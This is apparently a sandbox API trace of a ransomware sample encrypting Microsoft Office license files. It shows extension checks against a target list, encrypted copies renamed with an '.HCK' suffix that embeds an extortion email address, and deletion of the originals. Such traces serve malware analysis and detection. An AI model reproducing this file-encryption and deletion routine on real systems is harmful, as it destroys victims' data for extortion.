[0238.466] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0238.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87 [0238.466] lstrlenW (lpString=".1cd") returned 4 [0238.466] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0238.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87 [0238.466] lstrlenW (lpString=".jpg") returned 4 [0238.466] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0238.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87 [0238.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87 [0238.466] lstrlenW (lpString=".doc") returned 4 [0238.466] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0238.466] lstrlenW (lpString=".docx") returned 5 [0238.466] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0238.466] lstrlenW (lpString=".pdf") returned 4 [0238.466] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0238.466] lstrlenW (lpString=".xls") returned 4 [0238.466] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0238.466] lstrlenW (lpString=".xlsx") returned 5 [0238.466] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0238.466] lstrlenW (lpString=".ppt") returned 4 [0238.466] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0238.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87 [0238.466] lstrlenW (lpString=".zip") returned 4 [0238.466] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0238.466] lstrlenW (lpString=".rar") returned 4 [0238.466] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0238.466] lstrlenW (lpString=".bz2") returned 4 [0238.467] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0238.467] lstrlenW (lpString=".7z") returned 3 [0238.467] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0238.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87 [0238.467] lstrlenW (lpString=".dbf") returned 4 [0238.467] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0238.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87 [0238.467] lstrlenW (lpString=".1cd") returned 4 [0238.467] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0238.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87 [0238.467] lstrlenW (lpString=".jpg") returned 4 [0238.467] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0238.467] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0238.467] lstrlenW (lpString="HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 37 [0238.467] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0238.468] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=19966) returned 1 [0238.468] CloseHandle (hObject=0x4d4) returned 1 [0238.468] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-phn.xrm-ms")) returned 0x220 [0238.468] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-phn.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0238.468] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0238.468] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.468] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.468] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-phn.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0238.469] GetLastError () returned 0x0 [0238.469] ReadFile (in: hFile=0x4d4, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x4dfe, lpOverlapped=0x0) returned 1 [0238.471] WriteFile (in: hFile=0x4ac, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x4e00, lpOverlapped=0x0) returned 1 [0238.472] ReadFile (in: hFile=0x4d4, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0238.472] WriteFile (in: hFile=0x4ac, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x11e, lpOverlapped=0x0) returned 1 [0238.472] SetEndOfFile (hFile=0x4ac) returned 1 [0238.472] CloseHandle (hObject=0x4ac) returned 1 [0238.472] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.472] SetEndOfFile (hFile=0x4d4) returned 1 [0238.474] CloseHandle (hObject=0x4d4) returned 1 [0238.474] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0238.475] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-phn.xrm-ms")) returned 1 [0238.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87 [0238.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87 [0238.476] lstrlenW (lpString=".doc") returned 4 [0238.476] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0238.476] lstrlenW (lpString=".docx") returned 5 [0238.476] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0238.476] lstrlenW (lpString=".pdf") returned 4 [0238.476] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0238.476] lstrlenW (lpString=".xls") returned 4 [0238.476] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0238.476] lstrlenW (lpString=".xlsx") returned 5 [0238.476] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0238.476] lstrlenW (lpString=".ppt") returned 4 [0238.476] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0238.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87 [0238.476] lstrlenW (lpString=".zip") returned 4 [0238.476] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0238.476] lstrlenW (lpString=".rar") returned 4 [0238.476] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0238.476] lstrlenW (lpString=".bz2") returned 4 [0238.476] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0238.476] lstrlenW (lpString=".7z") returned 3 [0238.476] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0238.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87 [0238.476] lstrlenW (lpString=".dbf") returned 4 [0238.476] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0238.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87 [0238.476] lstrlenW (lpString=".1cd") returned 4 [0238.476] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0238.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87 [0238.476] lstrlenW (lpString=".jpg") returned 4 [0238.476] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0238.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87 [0238.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87 [0238.477] lstrlenW (lpString=".doc") returned 4 [0238.477] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0238.477] lstrlenW (lpString=".docx") returned 5 [0238.477] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0238.477] lstrlenW (lpString=".pdf") returned 4 [0238.477] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0238.477] lstrlenW (lpString=".xls") returned 4 [0238.477] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0238.477] lstrlenW (lpString=".xlsx") returned 5 [0238.477] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0238.477] lstrlenW (lpString=".ppt") returned 4 [0238.477] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0238.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87 [0238.477] lstrlenW (lpString=".zip") returned 4 [0238.477] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0238.477] lstrlenW (lpString=".rar") returned 4 [0238.477] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0238.477] lstrlenW (lpString=".bz2") returned 4 [0238.477] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0238.477] lstrlenW (lpString=".7z") returned 3 [0238.477] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0238.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87 [0238.477] lstrlenW (lpString=".dbf") returned 4 [0238.477] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0238.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87 [0238.477] lstrlenW (lpString=".1cd") returned 4 [0238.477] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0238.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87 [0238.477] lstrlenW (lpString=".jpg") returned 4 [0238.477] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0238.477] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0238.477] lstrlenW (lpString="HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 33 [0238.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0238.479] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=10667) returned 1 [0238.479] CloseHandle (hObject=0x4d4) returned 1 [0238.479] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-pl.xrm-ms")) returned 0x220 [0238.479] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0238.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0238.479] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.479] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0238.480] GetLastError () returned 0x0 [0238.481] ReadFile (in: hFile=0x4d4, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x29ab, lpOverlapped=0x0) returned 1 [0238.482] WriteFile (in: hFile=0x4ac, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x29b0, lpOverlapped=0x0) returned 1 [0238.483] ReadFile (in: hFile=0x4d4, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0238.483] WriteFile (in: hFile=0x4ac, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x116, lpOverlapped=0x0) returned 1 [0238.483] SetEndOfFile (hFile=0x4ac) returned 1 [0238.483] CloseHandle (hObject=0x4ac) returned 1 [0238.483] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.483] SetEndOfFile (hFile=0x4d4) returned 1 [0238.560] CloseHandle (hObject=0x4d4) returned 1 [0238.560] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0238.560] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-pl.xrm-ms")) returned 1 [0238.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83 [0238.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83 [0238.561] lstrlenW (lpString=".doc") returned 4 [0238.561] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0238.561] lstrlenW (lpString=".docx") returned 5 [0238.561] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0238.561] lstrlenW (lpString=".pdf") returned 4 [0238.561] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0238.561] lstrlenW (lpString=".xls") returned 4 [0238.561] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0238.561] lstrlenW (lpString=".xlsx") returned 5 [0238.562] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0238.562] lstrlenW (lpString=".ppt") returned 4 [0238.562] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0238.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83 [0238.562] lstrlenW (lpString=".zip") returned 4 [0238.562] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0238.562] lstrlenW (lpString=".rar") returned 4 [0238.562] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0238.562] lstrlenW (lpString=".bz2") returned 4 [0238.562] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0238.562] lstrlenW (lpString=".7z") returned 3 [0238.562] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0238.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83 [0238.562] lstrlenW (lpString=".dbf") returned 4 [0238.562] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0238.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83 [0238.562] lstrlenW (lpString=".1cd") returned 4 [0238.562] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0238.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83 [0238.562] lstrlenW (lpString=".jpg") returned 4 [0238.562] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0238.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83 [0238.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83 [0238.562] lstrlenW (lpString=".doc") returned 4 [0238.562] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0238.562] lstrlenW (lpString=".docx") returned 5 [0238.562] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0238.562] lstrlenW (lpString=".pdf") returned 4 [0238.562] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0238.562] lstrlenW (lpString=".xls") returned 4 [0238.562] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0238.563] lstrlenW (lpString=".xlsx") returned 5 [0238.563] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0238.563] lstrlenW (lpString=".ppt") returned 4 [0238.563] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0238.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83 [0238.563] lstrlenW (lpString=".zip") returned 4 [0238.563] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0238.563] lstrlenW (lpString=".rar") returned 4 [0238.563] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0238.563] lstrlenW (lpString=".bz2") returned 4 [0238.563] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0238.563] lstrlenW (lpString=".7z") returned 3 [0238.563] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0238.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83 [0238.563] lstrlenW (lpString=".dbf") returned 4 [0238.563] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0238.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83 [0238.563] lstrlenW (lpString=".1cd") returned 4 [0238.563] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0238.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83 [0238.563] lstrlenW (lpString=".jpg") returned 4 [0238.563] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0238.563] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0238.563] lstrlenW (lpString="HomeBusinessR_Retail-pl.xrm-ms") returned 30 [0238.563] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0238.564] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=10655) returned 1 [0238.564] CloseHandle (hObject=0x4d4) returned 1 [0238.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-pl.xrm-ms")) returned 0x220 [0238.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0238.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0238.565] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.565] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0238.566] GetLastError () returned 0x0 [0238.566] ReadFile (in: hFile=0x4d4, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x299f, lpOverlapped=0x0) returned 1 [0238.568] WriteFile (in: hFile=0x55c, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x29a0, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x29a0, lpOverlapped=0x0) returned 1 [0238.569] ReadFile (in: hFile=0x4d4, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0238.569] WriteFile (in: hFile=0x55c, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x110, lpOverlapped=0x0) returned 1 [0238.569] SetEndOfFile (hFile=0x55c) returned 1 [0238.569] CloseHandle (hObject=0x55c) returned 1 [0238.569] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.569] SetEndOfFile (hFile=0x4d4) returned 1 [0238.571] CloseHandle (hObject=0x4d4) returned 1 [0238.572] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0238.572] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-pl.xrm-ms")) returned 1 [0238.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80 [0238.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80 [0238.573] lstrlenW (lpString=".doc") returned 4 [0238.573] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0238.573] lstrlenW (lpString=".docx") returned 5 [0238.573] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0238.573] lstrlenW (lpString=".pdf") returned 4 